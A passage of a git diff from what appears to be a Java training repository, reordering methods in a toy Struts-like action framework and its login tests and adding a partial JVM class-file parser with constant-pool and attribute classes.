-	}
-
-	public void sayHello() {
-		System.out.println("Hello , this is class Employee ");
-	}
-
-	public static void main(String[] args) {
-		EmployeeV1 p = new EmployeeV1("Andy", 29);
-		p.sayHello();
-
-	}
+    private int age;
+    
+    public EmployeeV1(String name, int age) {
+        this.name = name;
+        this.age = age;        
+    }    
+
+    public void setName(String name) {
+        this.name = name;
+    }
+    public void setAge(int age){
+    	this.age = age;
+    }
+    public void sayHello() {        
+    	System.out.println("Hello , this is class Employee ");    	
+    }
+    public static void main(String[] args){
+    	EmployeeV1 p = new EmployeeV1("Andy",29);
+    	p.sayHello();    
+    	
+    }
 }
\ No newline at end of file
diff --git a/group12/382266293/src/com/coderising/jvm/util/Util.java b/group12/382266293/src/com/coderising/jvm/util/Util.java
index 1f9e087bb9..c2042deaac 100644
--- a/group12/382266293/src/com/coderising/jvm/util/Util.java
+++ b/group12/382266293/src/com/coderising/jvm/util/Util.java
@@ -1,11 +1,6 @@
 package com.coderising.jvm.util;
 
 public class Util {
-	public static int byteToInt(byte[] codes) {
-		String s1 = byteToHexString(codes);
-		return Integer.valueOf(s1, 16).intValue();
-	}
-
 	public static String byteToHexString(byte[] codes) {
 		StringBuffer buffer = new StringBuffer();
 		for (int i = 0; i < codes.length; i++) {
@@ -19,4 +14,9 @@ public static String byteToHexString(byte[] codes) {
 		}
 		return buffer.toString();
 	}
+
+	public static int byteToInt(byte[] codes) {
+		String s1 = byteToHexString(codes);
+		return Integer.valueOf(s1, 16).intValue();
+	}
 }
diff --git a/group12/382266293/src/com/coderising/litestruts/LoginAction.java b/group12/382266293/src/com/coderising/litestruts/LoginAction.java
index 95fd144d4d..7d1cf06a48 100644
--- a/group12/382266293/src/com/coderising/litestruts/LoginAction.java
+++ b/group12/382266293/src/com/coderising/litestruts/LoginAction.java
@@ -11,14 +11,6 @@ public class LoginAction {
 	private String password;
 	private String message;
 
-	public String getName() {
-		return name;
-	}
-
-	public String getPassword() {
-		return password;
-	}
-
 	public String execute() {
 		if ("test".equals(name) && "1234".equals(password)) {
 			this.message = "login successful";
@@ -28,6 +20,18 @@ public String execute() {
 		return "fail";
 	}
 
+	public String getMessage() {
+		return this.message;
+	}
+
+	public String getName() {
+		return name;
+	}
+
+	public String getPassword() {
+		return password;
+	}
+
 	public void setName(String name) {
 		this.name = name;
 	}
@@ -35,8 +39,4 @@ public void setName(String name) {
 	public void setPassword(String password) {
 		this.password = password;
 	}
-
-	public String getMessage() {
-		return this.message;
-	}
 }
\ No newline at end of file
diff --git a/group12/382266293/src/litestruts/ActionXMLreader.java b/group12/382266293/src/litestruts/ActionXMLreader.java
index 92e700edc4..53d815c174 100644
--- a/group12/382266293/src/litestruts/ActionXMLreader.java
+++ b/group12/382266293/src/litestruts/ActionXMLreader.java
@@ -1,6 +1,7 @@
 package litestruts;
 
 import java.util.List;
+
 import org.dom4j.Document;
 import org.dom4j.DocumentException;
 import org.dom4j.Element;
diff --git a/group12/382266293/src/litestruts/Configuration.java b/group12/382266293/src/litestruts/Configuration.java
index 731a4218b0..44b85c9b45 100644
--- a/group12/382266293/src/litestruts/Configuration.java
+++ b/group12/382266293/src/litestruts/Configuration.java
@@ -1,25 +1,47 @@
 package litestruts;
 
+import static util.Print.println;
+
 import java.io.IOException;
 import java.io.InputStream;
 import java.util.HashMap;
 import java.util.Map;
+
 import org.jdom2.Document;
 import org.jdom2.Element;
 import org.jdom2.JDOMException;
 import org.jdom2.input.SAXBuilder;
-import static util.Print.*;
 
 public class Configuration {
 
-	Map<String, ActionCfg> actions = new HashMap<>();
+	private static class ActionCfg {
 
-	private static Configuration cfg = new Configuration();
+		String name;
+		String clz;
+		Map<String, String> viewResult = new HashMap<>();
 
-	private Configuration() {
+		public ActionCfg(String name, String clz) {
+			this.name = name;
+			this.clz = clz;
+		}
+
+		public void addViewResult(String result, String jsp) {
+			viewResult.put(result, jsp);
+
+		}
+
+		public String getClassName() {
+			return clz;
+		}
+
+		public Map<String, String> getViewResult() {
+			return viewResult;
+		}
 
 	}
 
+	private static Configuration cfg = new Configuration();
+
 	public static Configuration getNewInstance() {
 
 		if (cfg == null) {
@@ -28,6 +50,36 @@ public static Configuration getNewInstance() {
 		return cfg;
 	}
 
+	public static void main(String[] args) {
+		Configuration cfg = new Configuration();
+		cfg.parse("struts.xml");
+		String clz = cfg.getClassName("login");
+		println(clz);
+
+	}
+
+	Map<String, ActionCfg> actions = new HashMap<>();
+
+	private Configuration() {
+
+	}
+
+	public String getClassName(String action) {
+		ActionCfg cfg = this.actions.get(action);
+		if (cfg == null) {
+			return null;
+		}
+		return cfg.getClassName();
+	}
+
+	public String getResultView(String action, String resultName) {
+		ActionCfg cfg = this.actions.get(action);
+		if (cfg == null) {
+			return null;
+		}
+		return cfg.getViewResult().get(resultName);
+	}
+
 	public void parse(String fileName) {
 
 		String src = this.getClass().getPackage().getName();
@@ -73,54 +125,4 @@ public void parseXML(InputStream is) {
 		}
 	}
 
-	public String getClassName(String action) {
-		ActionCfg cfg = this.actions.get(action);
-		if (cfg == null) {
-			return null;
-		}
-		return cfg.getClassName();
-	}
-
-	public String getResultView(String action, String resultName) {
-		ActionCfg cfg = this.actions.get(action);
-		if (cfg == null) {
-			return null;
-		}
-		return cfg.getViewResult().get(resultName);
-	}
-
-	public static void main(String[] args) {
-		Configuration cfg = new Configuration();
-		cfg.parse("struts.xml");
-		String clz = cfg.getClassName("login");
-		println(clz);
-
-	}
-
-	private static class ActionCfg {
-
-		String name;
-		String clz;
-		Map<String, String> viewResult = new HashMap<>();
-
-		public Map<String, String> getViewResult() {
-			return viewResult;
-		}
-
-		public ActionCfg(String name, String clz) {
-			this.name = name;
-			this.clz = clz;
-		}
-
-		public void addViewResult(String result, String jsp) {
-			viewResult.put(result, jsp);
-
-		}
-
-		public String getClassName() {
-			return clz;
-		}
-
-	}
-
 }
diff --git a/group12/382266293/src/litestruts/Struts.java b/group12/382266293/src/litestruts/Struts.java
index b84e2e6264..2371cdbcd8 100644
--- a/group12/382266293/src/litestruts/Struts.java
+++ b/group12/382266293/src/litestruts/Struts.java
@@ -1,6 +1,5 @@
 package litestruts;
 
-import util.ActionXMLreader;
 import java.beans.BeanInfo;
 import java.beans.IntrospectionException;
 import java.beans.Introspector;
@@ -9,33 +8,26 @@
 import java.lang.reflect.InvocationTargetException;
 import java.util.HashMap;
 import java.util.Map;
+
 import org.dom4j.Node;
 
+import util.ActionXMLreader;
+
 public class Struts {
 
 	private static Object actionObj = null;
 	private static String address = "src/litestruts/struts.xml";
 	private static ActionXMLreader reader = new ActionXMLreader();
 
-	@SuppressWarnings("unchecked")
-	public static View runAction(String actionName, Map<String, String> parameters) {
-
-		Node root = reader.getRootNode(address);
-		String clazz = reader.parseClass(root, actionName);
-		actionObj = getObj(clazz);
-		BeanInfo bi = getBeanInfo(actionObj);
-		PropertyDescriptor[] pd = bi.getPropertyDescriptors();
-
-		setParameters(actionObj, pd, parameters);
-		String executeResult = getResult(actionObj, bi, "execute");
-		String jsp = reader.parseResult(root, actionName, executeResult);
-		Map<String, String> readParamters = getReadParameters(actionObj, pd);
-
-		View view = new View();
-		view.setJsp(jsp);
-		view.setParameters(readParamters);
+	private static BeanInfo getBeanInfo(Object obj) {
 
-		return view;
+		BeanInfo bi = null;
+		try {
+			bi = Introspector.getBeanInfo(obj.getClass(), Object.class);
+		} catch (IntrospectionException e) {
+			e.printStackTrace();
+		}
+		return bi;
 	}
 
 	private static Object getObj(String clazz) {
@@ -53,28 +45,22 @@ private static Object getObj(String clazz) {
 		return null;
 	}
 
-	private static BeanInfo getBeanInfo(Object obj) {
-
-		BeanInfo bi = null;
-		try {
-			bi = Introspector.getBeanInfo(obj.getClass(), Object.class);
-		} catch (IntrospectionException e) {
-			e.printStackTrace();
-		}
-		return bi;
-	}
+	@SuppressWarnings("rawtypes")
+	public static Map getReadParameters(Object obj, PropertyDescriptor[] pd) {
 
-	private static void setParameters(Object obj, PropertyDescriptor[] pd, Map parameters) {
+		Map<String, String> viewParams = new HashMap<String, String>();
 
 		for (int i = 0; i < pd.length; i++) {
-			String name = pd[i].getName();
-			if (parameters.containsKey(name))
-				try {
-					pd[i].getWriteMethod().invoke(obj, parameters.get(name));
-				} catch (IllegalAccessException | IllegalArgumentException | InvocationTargetException e) {
-					e.printStackTrace();
-				}
+			String readMethod = pd[i].getReadMethod().getName().substring(3);
+			String value = null;
+			try {
+				value = (String) pd[i].getReadMethod().invoke(obj);
+			} catch (IllegalAccessException | IllegalArgumentException | InvocationTargetException e) {
+				e.printStackTrace();
+			}
+			viewParams.put(readMethod.toLowerCase(), value);
 		}
+		return viewParams;
 	}
 
 	private static String getResult(Object obj, BeanInfo bi, String execute) {
@@ -91,22 +77,38 @@ private static String getResult(Object obj, BeanInfo bi, String execute) {
 		return null;
 	}
 
-	@SuppressWarnings("rawtypes")
-	public static Map getReadParameters(Object obj, PropertyDescriptor[] pd) {
+	@SuppressWarnings("unchecked")
+	public static View runAction(String actionName, Map<String, String> parameters) {
 
-		Map<String, String> viewParams = new HashMap<String, String>();
+		Node root = reader.getRootNode(address);
+		String clazz = reader.parseClass(root, actionName);
+		actionObj = getObj(clazz);
+		BeanInfo bi = getBeanInfo(actionObj);
+		PropertyDescriptor[] pd = bi.getPropertyDescriptors();
+
+		setParameters(actionObj, pd, parameters);
+		String executeResult = getResult(actionObj, bi, "execute");
+		String jsp = reader.parseResult(root, actionName, executeResult);
+		Map<String, String> readParamters = getReadParameters(actionObj, pd);
+
+		View view = new View();
+		view.setJsp(jsp);
+		view.setParameters(readParamters);
+
+		return view;
+	}
+
+	private static void setParameters(Object obj, PropertyDescriptor[] pd, Map parameters) {
 
 		for (int i = 0; i < pd.length; i++) {
-			String readMethod = pd[i].getReadMethod().getName().substring(3);
-			String value = null;
-			try {
-				value = (String) pd[i].getReadMethod().invoke(obj);
-			} catch (IllegalAccessException | IllegalArgumentException | InvocationTargetException e) {
-				e.printStackTrace();
-			}
-			viewParams.put(readMethod.toLowerCase(), value);
+			String name = pd[i].getName();
+			if (parameters.containsKey(name))
+				try {
+					pd[i].getWriteMethod().invoke(obj, parameters.get(name));
+				} catch (IllegalAccessException | IllegalArgumentException | InvocationTargetException e) {
+					e.printStackTrace();
+				}
 		}
-		return viewParams;
 	}
 
 }
\ No newline at end of file
diff --git a/group12/382266293/src/litestruts/StrutsTest.java b/group12/382266293/src/litestruts/StrutsTest.java
index b450d7a935..8d70a91cb3 100644
--- a/group12/382266293/src/litestruts/StrutsTest.java
+++ b/group12/382266293/src/litestruts/StrutsTest.java
@@ -9,30 +9,30 @@
 public class StrutsTest {
 
 	@Test
-	public void testLoginActionSuccess() {
-
+	public void testLoginActionFailed() {
 		String actionName = "login";
-
 		Map<String, String> params = new HashMap<String, String>();
 		params.put("name", "test");
-		params.put("password", "1234");
+		params.put("password", "123456"); // 密码和预设的不一致
 
 		View view = Struts.runAction(actionName, params);
 
-		Assert.assertEquals("/jsp/homepage.jsp", view.getJsp());
-		Assert.assertEquals("login successful", view.getParameters().get("message"));
+		Assert.assertEquals("/jsp/showLogin.jsp", view.getJsp());
+		Assert.assertEquals("login failed,please check your user/pwd", view.getParameters().get("message"));
 	}
 
 	@Test
-	public void testLoginActionFailed() {
+	public void testLoginActionSuccess() {
+
 		String actionName = "login";
+
 		Map<String, String> params = new HashMap<String, String>();
 		params.put("name", "test");
-		params.put("password", "123456"); // 密码和预设的不一致
+		params.put("password", "1234");
 
 		View view = Struts.runAction(actionName, params);
 
-		Assert.assertEquals("/jsp/showLogin.jsp", view.getJsp());
-		Assert.assertEquals("login failed,please check your user/pwd", view.getParameters().get("message"));
+		Assert.assertEquals("/jsp/homepage.jsp", view.getJsp());
+		Assert.assertEquals("login successful", view.getParameters().get("message"));
 	}
 }
diff --git a/group12/382266293/src/litestruts/View.java b/group12/382266293/src/litestruts/View.java
index 0c917dcb35..41152f3214 100644
--- a/group12/382266293/src/litestruts/View.java
+++ b/group12/382266293/src/litestruts/View.java
@@ -10,15 +10,15 @@ public String getJsp() {
 		return jsp;
 	}
 
+	public Map getParameters() {
+		return parameters;
+	}
+
 	public View setJsp(String jsp) {
 		this.jsp = jsp;
 		return this;
 	}
 
-	public Map getParameters() {
-		return parameters;
-	}
-
 	public View setParameters(Map parameters) {
 		this.parameters = parameters;
 		return this;
diff --git a/group12/382266293/src/test.java b/group12/382266293/src/test.java
index b3a32d2556..3910b896af 100644
--- a/group12/382266293/src/test.java
+++ b/group12/382266293/src/test.java
@@ -6,6 +6,7 @@
 import java.io.InputStream;
 import java.net.URL;
 import java.util.LinkedList;
+
 import sun.net.www.protocol.http.HttpURLConnection;
 
 public class test {
@@ -16,30 +17,6 @@ public class test {
 	public static String tempName = "";
 	public static String fileName = "";
 
-	LinkedList a;
-
-	private static void createTempFile1(String from) {
-		long length = 0;
-		URL url = null;
-		HttpURLConnection conn = null;
-		try {
-			url = new URL(from);
-			conn = (HttpURLConnection) url.openConnection();
-			String file = conn.getURL().getFile();
-			fileName = file.substring(file.lastIndexOf('/') + 1);
-			tempName = fileName.substring(0, fileName.lastIndexOf('.') + 1) + "lyj";
-			length = conn.getContentLength();
-			conn.disconnect();
-		} catch (IOException e) {
-			e.printStackTrace();
-		} finally {
-			conn.disconnect();
-		}
-		tempName = downloadLocation + tempName;
-		fileName = downloadLocation + fileName;
-		bufferFile(tempName, length);
-	}
-
 	public static void bufferFile(String name, long len) {
 
 		FileOutputStream temp = null;
@@ -66,6 +43,28 @@ public static void bufferFile(String name, long len) {
 		}
 	}
 
+	private static void createTempFile1(String from) {
+		long length = 0;
+		URL url = null;
+		HttpURLConnection conn = null;
+		try {
+			url = new URL(from);
+			conn = (HttpURLConnection) url.openConnection();
+			String file = conn.getURL().getFile();
+			fileName = file.substring(file.lastIndexOf('/') + 1);
+			tempName = fileName.substring(0, fileName.lastIndexOf('.') + 1) + "lyj";
+			length = conn.getContentLength();
+			conn.disconnect();
+		} catch (IOException e) {
+			e.printStackTrace();
+		} finally {
+			conn.disconnect();
+		}
+		tempName = downloadLocation + tempName;
+		fileName = downloadLocation + fileName;
+		bufferFile(tempName, length);
+	}
+
 	public static void download(String src) {
 		createTempFile1(src);
 
@@ -95,6 +94,12 @@ public static void download(String src) {
 
 	}
 
+	public static void main(String[] args) throws IOException {
+
+		download(url2);
+
+	}
+
 	public static boolean rename(String temp) {
 		File file = new File(temp);
 		File f1 = new File(fileName);
@@ -107,10 +112,6 @@ public static boolean rename(String temp) {
 		return false;
 	}
 
-	public static void main(String[] args) throws IOException {
-
-		download(url2);
-
-	}
+	LinkedList a;
 
 }
diff --git a/group12/446031103/src/com/coderising/jvm/attr/AttributeInfo.java b/group12/446031103/src/com/coderising/jvm/attr/AttributeInfo.java
new file mode 100644
index 0000000000..88f60c77f6
--- /dev/null
+++ b/group12/446031103/src/com/coderising/jvm/attr/AttributeInfo.java
@@ -0,0 +1,19 @@
+package com.coderising.jvm.attr;
+
+public abstract class AttributeInfo {
+	public static final String CODE = "Code";
+	public static final String CONST_VALUE = "ConstantValue";
+	public static final String EXCEPTIONS = "Exceptions";
+	public static final String LINE_NUM_TABLE = "LineNumberTable";
+	public static final String LOCAL_VAR_TABLE = "LocalVariableTable";
+	public static final String STACK_MAP_TABLE = "StackMapTable";
+	int attrNameIndex;				
+	int attrLen ;
+	public AttributeInfo(int attrNameIndex, int attrLen) {
+		
+		this.attrNameIndex = attrNameIndex;
+		this.attrLen = attrLen;
+	}
+	
+	
+}
diff --git a/group12/446031103/src/com/coderising/jvm/attr/CodeAttr.java b/group12/446031103/src/com/coderising/jvm/attr/CodeAttr.java
new file mode 100644
index 0000000000..ee7d423c3b
--- /dev/null
+++ b/group12/446031103/src/com/coderising/jvm/attr/CodeAttr.java
@@ -0,0 +1,56 @@
+package com.coderising.jvm.attr;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.loader.ByteCodeIterator;
+
+
+public class CodeAttr extends AttributeInfo {
+	private int maxStack ;
+	private int maxLocals ;
+	private int codeLen ;
+	private String code;
+	public String getCode() {
+		return code;
+	}
+
+	//private ByteCodeCommand[] cmds ;
+	//public ByteCodeCommand[] getCmds() {
+	//	return cmds;
+	//}
+	private LineNumberTable lineNumTable;
+	private LocalVariableTable localVarTable;
+	private StackMapTable stackMapTable;
+	
+	public CodeAttr(int attrNameIndex, int attrLen, int maxStack, int maxLocals, int codeLen,String code /*ByteCodeCommand[] cmds*/) {
+		super(attrNameIndex, attrLen);
+		this.maxStack = maxStack;
+		this.maxLocals = maxLocals;
+		this.codeLen = codeLen;
+		this.code = code;
+		//this.cmds = cmds;
+	}
+
+	public void setLineNumberTable(LineNumberTable t) {
+		this.lineNumTable = t;
+	}
+
+	public void setLocalVariableTable(LocalVariableTable t) {
+		this.localVarTable = t;		
+	}
+	
+	public static CodeAttr parse(ClassFile clzFile, ByteCodeIterator iter){
+		
+		
+		return null;
+	}
+	private void setStackMapTable(StackMapTable t) {
+		this.stackMapTable = t;
+		
+	}
+
+	
+	
+	
+	
+}
diff --git a/group12/446031103/src/com/coderising/jvm/attr/LineNumberTable.java b/group12/446031103/src/com/coderising/jvm/attr/LineNumberTable.java
new file mode 100644
index 0000000000..d88752e323
--- /dev/null
+++ b/group12/446031103/src/com/coderising/jvm/attr/LineNumberTable.java
@@ -0,0 +1,42 @@
+package com.coderising.jvm.attr;
+
+import java.util.ArrayList;
+import java.util.List;
+
+import com.coderising.jvm.loader.ByteCodeIterator;
+
+public class LineNumberTable extends AttributeInfo {
+	List<LineNumberItem> items = new ArrayList<LineNumberItem>();
+	
+	private static class LineNumberItem{
+		int startPC;
+		int lineNum;
+		public int getStartPC() {
+			return startPC;
+		}
+		public void setStartPC(int startPC) {
+			this.startPC = startPC;
+		}
+		public int getLineNum() {
+			return lineNum;
+		}
+		public void setLineNum(int lineNum) {
+			this.lineNum = lineNum;
+		}
+	}
+	public void addLineNumberItem(LineNumberItem item){
+		this.items.add(item);
+	}
+	public LineNumberTable(int attrNameIndex, int attrLen) {
+		super(attrNameIndex, attrLen);
+		
+	}
+	
+	public static LineNumberTable parse(ByteCodeIterator iter){
+		
+		return null;
+	}
+	
+	
+
+}
diff --git a/group12/446031103/src/com/coderising/jvm/attr/LocalVariableItem.java b/group12/446031103/src/com/coderising/jvm/attr/LocalVariableItem.java
new file mode 100644
index 0000000000..962c3b8bc4
--- /dev/null
+++ b/group12/446031103/src/com/coderising/jvm/attr/LocalVariableItem.java
@@ -0,0 +1,39 @@
+package com.coderising.jvm.attr;
+
+public class LocalVariableItem {
+	private int startPC;
+	private int length;
+	private int nameIndex;
+	private int descIndex;
+	private int index;
+	public int getStartPC() {
+		return startPC;
+	}
+	public void setStartPC(int startPC) {
+		this.startPC = startPC;
+	}
+	public int getLength() {
+		return length;
+	}
+	public void setLength(int length) {
+		this.length = length;
+	}
+	public int getNameIndex() {
+		return nameIndex;
+	}
+	public void setNameIndex(int nameIndex) {
+		this.nameIndex = nameIndex;
+	}
+	public int getDescIndex() {
+		return descIndex;
+	}
+	public void setDescIndex(int descIndex) {
+		this.descIndex = descIndex;
+	}
+	public int getIndex() {
+		return index;
+	}
+	public void setIndex(int index) {
+		this.index = index;
+	}
+}
diff --git a/group12/446031103/src/com/coderising/jvm/attr/LocalVariableTable.java b/group12/446031103/src/com/coderising/jvm/attr/LocalVariableTable.java
new file mode 100644
index 0000000000..e4d3df0e77
--- /dev/null
+++ b/group12/446031103/src/com/coderising/jvm/attr/LocalVariableTable.java
@@ -0,0 +1,28 @@
+package com.coderising.jvm.attr;
+
+
+import java.util.ArrayList;
+import java.util.List;
+
+import com.coderising.jvm.constant.ConstantPool;
+
+import com.coderising.jvm.loader.ByteCodeIterator;
+
+public class LocalVariableTable extends AttributeInfo{
+
+	List<LocalVariableItem> items = new ArrayList<LocalVariableItem>();
+	
+	public LocalVariableTable(int attrNameIndex, int attrLen) {
+		super(attrNameIndex, attrLen);		
+	}
+	
+	public static LocalVariableTable parse(ByteCodeIterator iter){
+		
+		return null;
+	}
+	private void addLocalVariableItem(LocalVariableItem item) {
+		this.items.add(item);		
+	}
+	
+	
+}
diff --git a/group12/446031103/src/com/coderising/jvm/attr/StackMapTable.java b/group12/446031103/src/com/coderising/jvm/attr/StackMapTable.java
new file mode 100644
index 0000000000..18f2ad0360
--- /dev/null
+++ b/group12/446031103/src/com/coderising/jvm/attr/StackMapTable.java
@@ -0,0 +1,30 @@
+package com.coderising.jvm.attr;
+
+
+import com.coderising.jvm.loader.ByteCodeIterator;
+
+public class StackMapTable extends AttributeInfo{
+	
+	private String originalCode;
+
+	public StackMapTable(int attrNameIndex, int attrLen) {
+		super(attrNameIndex, attrLen);		
+	}
+
+	public static StackMapTable parse(ByteCodeIterator iter){
+		int index = iter.nextU2ToInt();
+		int len = iter.nextU4ToInt();
+		StackMapTable t = new StackMapTable(index,len);
+		
+		//后面的StackMapTable太过复杂， 不再处理， 只把原始的代码读进来保存
+		String code = iter.nextUxToHexString(len);
+		t.setOriginalCode(code);
+		
+		return t;
+	}
+
+	private void setOriginalCode(String code) {
+		this.originalCode = code;
+		
+	}
+}
diff --git a/group12/446031103/src/com/coderising/jvm/field/Field.java b/group12/446031103/src/com/coderising/jvm/field/Field.java
new file mode 100644
index 0000000000..0d1c64587c
--- /dev/null
+++ b/group12/446031103/src/com/coderising/jvm/field/Field.java
@@ -0,0 +1,33 @@
+package com.coderising.jvm.field;
+
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.constant.UTF8Info;
+import com.coderising.jvm.loader.ByteCodeIterator;
+
+
+public class Field {
+	private int accessFlag;
+	private int nameIndex;
+	private int descriptorIndex;
+	
+	
+	
+	private ConstantPool pool;
+	
+	public Field( int accessFlag, int nameIndex, int descriptorIndex,ConstantPool pool) {
+		
+		this.accessFlag = accessFlag;
+		this.nameIndex = nameIndex;
+		this.descriptorIndex = descriptorIndex;
+		this.pool = pool;
+	}
+
+	
+	
+	
+	public static Field parse(ConstantPool pool,ByteCodeIterator iter){
+		
+		return null;
+	}
+
+}
diff --git a/group12/446031103/src/com/coderising/jvm/loader/ByteCodeIterator.java b/group12/446031103/src/com/coderising/jvm/loader/ByteCodeIterator.java
index 9c9fac2839..6fb5570dff 100644
--- a/group12/446031103/src/com/coderising/jvm/loader/ByteCodeIterator.java
+++ b/group12/446031103/src/com/coderising/jvm/loader/ByteCodeIterator.java
@@ -1,5 +1,57 @@
 package com.coderising.jvm.loader;
 
-public class ByteCodeIterator {
+import java.util.Arrays;
 
+import com.coderising.jvm.util.Util;
+
+public  class ByteCodeIterator {
+	byte[] codes;
+	int pos = 0;
+
+	ByteCodeIterator(byte[] codes) {
+		this.codes = codes;
+	}
+
+	
+
+	public byte[] getBytes(int len) {
+		if (pos + len >= codes.length) {
+			throw new ArrayIndexOutOfBoundsException();
+		}
+
+		byte[] data = Arrays.copyOfRange(codes, pos, pos + len);
+		pos += len;
+		return data;
+	}
+
+	public int nextU1toInt() {
+
+		return Util.byteToInt(new byte[] { codes[pos++] });
+	}
+
+	public int nextU2ToInt() {
+		return Util.byteToInt(new byte[] { codes[pos++], codes[pos++] });
+	}
+
+	public int nextU4ToInt() {
+		return Util.byteToInt(new byte[] { codes[pos++], codes[pos++], codes[pos++], codes[pos++] });
+	}
+
+	public String nextU4ToHexString() {
+		return Util.byteToHexString((new byte[] { codes[pos++], codes[pos++], codes[pos++], codes[pos++] }));
+	}
+
+	public String nextUxToHexString(int len) {
+		byte[] tmp = new byte[len];
+
+		for (int i = 0; i < len; i++) {
+			tmp[i] = codes[pos++];
+		}
+		return Util.byteToHexString(tmp).toLowerCase();
+
+	}
+
+	public void back(int n) {
+		this.pos -= n;
+	}
 }
diff --git a/group12/446031103/src/com/coderising/jvm/loader/ClassFileLoader.java b/group12/446031103/src/com/coderising/jvm/loader/ClassFileLoader.java
index 33185d8175..070a0ba10b 100644
--- a/group12/446031103/src/com/coderising/jvm/loader/ClassFileLoader.java
+++ b/group12/446031103/src/com/coderising/jvm/loader/ClassFileLoader.java
@@ -9,7 +9,7 @@
 import java.util.List;
 
 import org.apache.commons.io.IOUtils;
-import org.apache.commons.lang3.StringUtils;
+import org.apache.commons.lang.StringUtils;
 
 import com.coderising.jvm.clz.ClassFile;
 
diff --git a/group12/446031103/src/com/coderising/jvm/loader/ClassFileParser.java b/group12/446031103/src/com/coderising/jvm/loader/ClassFileParser.java
index 8e29f14a0c..a30cb22ad1 100644
--- a/group12/446031103/src/com/coderising/jvm/loader/ClassFileParser.java
+++ b/group12/446031103/src/com/coderising/jvm/loader/ClassFileParser.java
@@ -13,32 +13,139 @@
 import com.coderising.jvm.constant.NullConstantInfo;
 import com.coderising.jvm.constant.StringInfo;
 import com.coderising.jvm.constant.UTF8Info;
+import com.coderising.jvm.field.Field;
+import com.coderising.jvm.method.Method;
 
 public class ClassFileParser {
 
 	public ClassFile parse(byte[] codes) {
 
 		
-		
+		ClassFile clzFile = new ClassFile();
+
+		ByteCodeIterator iter = new ByteCodeIterator(codes);
+
+		String magicNumber = iter.nextU4ToHexString();
+
+		if (!"cafebabe".equals(magicNumber)) {
+			return null;
+		}
+
+		clzFile.setMinorVersion(iter.nextU2ToInt());
+		clzFile.setMajorVersion(iter.nextU2ToInt());
+
+		ConstantPool pool = parseConstantPool(iter);
+		clzFile.setConstPool(pool);
+
+		AccessFlag flag = parseAccessFlag(iter);
+		clzFile.setAccessFlag(flag);
 
-		return null;
+		ClassIndex clzIndex = parseClassInfex(iter);
+		clzFile.setClassIndex(clzIndex);
+
+		parseInterfaces(iter);
+
+		
+		return clzFile;
 	}
 
 	private AccessFlag parseAccessFlag(ByteCodeIterator iter) {
 
-		return null;
+		AccessFlag flag = new AccessFlag(iter.nextU2ToInt());
+		// System.out.println("Is public class: " + flag.isPublicClass());
+		// System.out.println("Is final class : " + flag.isFinalClass());
+
+		return flag;
 	}
 
 	private ClassIndex parseClassInfex(ByteCodeIterator iter) {
 
-		return null;
+		int thisClassIndex = iter.nextU2ToInt();
+		int superClassIndex = iter.nextU2ToInt();
+
+		ClassIndex clzIndex = new ClassIndex();
+
+		clzIndex.setThisClassIndex(thisClassIndex);
+		clzIndex.setSuperClassIndex(superClassIndex);
+
+		return clzIndex;
 
 	}
 
 	private ConstantPool parseConstantPool(ByteCodeIterator iter) {
 
-		return null;
+		int constPoolCount = iter.nextU2ToInt();
+
+		System.out.println("Constant Pool Count :" + constPoolCount);
+
+		ConstantPool pool = new ConstantPool();
+		
+		pool.addConstantInfo(new NullConstantInfo());
+		
+		for (int i = 1; i <= constPoolCount - 1; i++) {
+
+			int tag = iter.nextU1toInt();
+			
+			if (tag == 7) {
+				// Class Info
+				int utf8Index = iter.nextU2ToInt();
+				ClassInfo clzInfo = new ClassInfo(pool);
+				clzInfo.setUtf8Index(utf8Index);
+
+				pool.addConstantInfo(clzInfo);
+			} else if (tag == 1) {
+				// UTF-8 String
+				int len = iter.nextU2ToInt();
+				byte[] data = iter.getBytes(len);
+				String value = null;
+				try {
+					value = new String(data, "UTF-8");
+				} catch (UnsupportedEncodingException e) {
+					e.printStackTrace();
+				}
+
+				UTF8Info utf8Str = new UTF8Info(pool);
+				utf8Str.setLength(len);
+				utf8Str.setValue(value);
+				pool.addConstantInfo(utf8Str);
+			}else if (tag == 8) {
+				StringInfo info = new StringInfo(pool);
+				info.setIndex(iter.nextU2ToInt());
+				pool.addConstantInfo(info);
+			} else if (tag == 9) {
+				FieldRefInfo field = new FieldRefInfo(pool);
+				field.setClassInfoIndex(iter.nextU2ToInt());
+				field.setNameAndTypeIndex(iter.nextU2ToInt());
+				pool.addConstantInfo(field);
+			} else if (tag == 10) {
+				// MethodRef
+				MethodRefInfo method = new MethodRefInfo(pool);
+				method.setClassInfoIndex(iter.nextU2ToInt());
+				method.setNameAndTypeIndex(iter.nextU2ToInt());
+				pool.addConstantInfo(method);
+			} else if (tag == 12) {
+				// Name and Type Info
+				NameAndTypeInfo nameType = new NameAndTypeInfo(pool);
+				nameType.setIndex1(iter.nextU2ToInt());
+				nameType.setIndex2(iter.nextU2ToInt());
+				pool.addConstantInfo(nameType);
+			} else {
+				throw new RuntimeException("the constant pool tag " + tag + " has not been implemented yet.");
+			}
+		}
+
+		System.out.println("Finished reading Constant pool ");
+
+		return pool;
+	}
+	private void parseInterfaces(ByteCodeIterator iter) {
+		int interfaceCount = iter.nextU2ToInt();
+
+		System.out.println("interfaceCount:" + interfaceCount);
+
+		// TODO : 如果实现了interface, 这里需要解析
 	}
 
 	
+	
 }
diff --git a/group12/446031103/src/com/coderising/jvm/method/Method.java b/group12/446031103/src/com/coderising/jvm/method/Method.java
new file mode 100644
index 0000000000..b57ef592d2
--- /dev/null
+++ b/group12/446031103/src/com/coderising/jvm/method/Method.java
@@ -0,0 +1,57 @@
+package com.coderising.jvm.method;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.attr.AttributeInfo;
+import com.coderising.jvm.attr.CodeAttr;
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.constant.UTF8Info;
+import com.coderising.jvm.loader.ByteCodeIterator;
+
+
+
+public class Method {
+	
+	private int accessFlag;
+	private int nameIndex;
+	private int descriptorIndex;
+	
+	private CodeAttr codeAttr;
+	
+	private ClassFile clzFile;
+	
+	
+	public ClassFile getClzFile() {
+		return clzFile;
+	}
+
+	public int getNameIndex() {
+		return nameIndex;
+	}
+	public int getDescriptorIndex() {
+		return descriptorIndex;
+	}
+	
+	public CodeAttr getCodeAttr() {
+		return codeAttr;
+	}
+
+	public void setCodeAttr(CodeAttr code) {
+		this.codeAttr = code;
+	}
+
